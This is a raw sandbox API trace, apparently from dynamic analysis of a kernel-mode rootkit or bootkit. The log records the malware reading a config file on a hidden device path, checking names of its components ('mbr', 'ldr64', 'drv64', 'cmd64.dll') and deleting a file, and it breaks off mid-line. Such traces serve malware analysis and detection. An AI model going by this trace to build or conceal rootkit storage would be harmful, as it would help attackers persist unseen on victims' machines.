_strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.327] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.327] IdePortDispatch () returned 0x103 [0121.327] KeWaitForMutexObject () returned 0x0 [0121.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.327] KeLeaveCriticalRegion () [0121.327] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.328] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.328] KeEnterCriticalRegion () [0121.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] KeLeaveCriticalRegion () [0121.328] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.328] KeEnterCriticalRegion () [0121.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.328] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] KeLeaveCriticalRegion () [0121.328] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.328] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.328] KeEnterCriticalRegion () [0121.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] KeLeaveCriticalRegion () [0121.328] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.328] ReleaseMutex (hMutex=0xf0) returned 1 [0121.328] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.328] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.328] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.328] KeEnterCriticalRegion () [0121.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.328] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.328] IdePortDispatch () returned 0x103 [0121.328] KeWaitForMutexObject () returned 0x0 [0121.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.329] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.329] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.329] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.329] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.329] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4cb0 [0121.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.329] KeLeaveCriticalRegion () [0121.329] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.329] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.329] KeEnterCriticalRegion () [0121.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.329] KeLeaveCriticalRegion () [0121.329] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.329] KeEnterCriticalRegion () [0121.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.329] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.329] IdePortDispatch () returned 0x103 [0121.329] KeWaitForMutexObject () returned 0x0 [0121.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.329] KeLeaveCriticalRegion () [0121.329] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.329] KeEnterCriticalRegion () [0121.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b09000 [0121.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.329] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.329] IdePortDispatch () returned 0x103 [0121.330] KeWaitForMutexObject () returned 0x0 [0121.330] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.330] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.330] IdePortDispatch () returned 0x103 [0121.330] KeWaitForMutexObject () returned 0x0 [0121.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.330] KeLeaveCriticalRegion () [0121.330] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.330] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.330] KeEnterCriticalRegion () [0121.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.331] KeLeaveCriticalRegion () [0121.331] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.331] KeEnterCriticalRegion () [0121.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.331] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.331] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.331] KeLeaveCriticalRegion () [0121.331] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.331] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.331] KeEnterCriticalRegion () [0121.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.331] ExFreePoolWithTag (P=0xfffffa8003bc4cb0, Tag=0x0) [0121.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.331] KeLeaveCriticalRegion () [0121.331] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.331] ReleaseMutex (hMutex=0xf0) returned 1 [0121.331] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.331] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.331] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.331] KeEnterCriticalRegion () [0121.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.331] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.331] IdePortDispatch () returned 0x103 [0121.331] KeWaitForMutexObject () returned 0x0 [0121.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.331] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.331] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.331] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.331] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.331] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4770 [0121.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.332] KeLeaveCriticalRegion () [0121.332] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.332] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.332] KeEnterCriticalRegion () [0121.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.332] KeLeaveCriticalRegion () [0121.332] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.332] KeEnterCriticalRegion () [0121.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.332] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.332] IdePortDispatch () returned 0x103 [0121.332] KeWaitForMutexObject () returned 0x0 [0121.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.332] KeLeaveCriticalRegion () [0121.332] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.332] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.332] KeEnterCriticalRegion () [0121.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.333] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0a000 [0121.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.333] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.333] IdePortDispatch () returned 0x103 [0121.333] KeWaitForMutexObject () returned 0x0 [0121.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.333] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.333] IdePortDispatch () returned 0x103 [0121.333] KeWaitForMutexObject () returned 0x0 [0121.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.333] KeLeaveCriticalRegion () [0121.333] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.334] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.334] KeEnterCriticalRegion () [0121.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] KeLeaveCriticalRegion () [0121.334] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.334] KeEnterCriticalRegion () [0121.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.334] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4940, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] KeLeaveCriticalRegion () [0121.334] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.334] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.334] KeEnterCriticalRegion () [0121.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] ExFreePoolWithTag (P=0xfffffa8003bc4770, Tag=0x0) [0121.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] KeLeaveCriticalRegion () [0121.334] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.334] ReleaseMutex (hMutex=0xf0) returned 1 [0121.334] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.334] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.334] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.334] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.334] KeEnterCriticalRegion () [0121.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.334] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.334] IdePortDispatch () returned 0x103 [0121.335] KeWaitForMutexObject () returned 0x0 [0121.335] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.335] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.335] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.335] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.335] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.335] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.335] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.335] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.335] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.335] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.335] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.335] KeLeaveCriticalRegion () [0121.335] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.335] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.335] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.335] KeEnterCriticalRegion () [0121.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.335] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.335] IdePortDispatch () returned 0x103 [0121.335] KeWaitForMutexObject () returned 0x0 [0121.335] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.335] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.335] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.335] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.335] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.335] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.336] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.336] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.336] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.336] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.336] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.336] KeLeaveCriticalRegion () [0121.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.336] ReleaseMutex (hMutex=0x100) returned 1 [0121.336] Sleep (dwMilliseconds=0x2bf20) [0121.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b849e90, dwHighDateTime=0x1d24fa4)) [0121.342] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.342] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.342] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.342] KeEnterCriticalRegion () [0121.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.342] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.342] IdePortDispatch () returned 0x103 [0121.342] KeWaitForMutexObject () returned 0x0 [0121.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.343] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.343] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.343] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.343] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.343] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 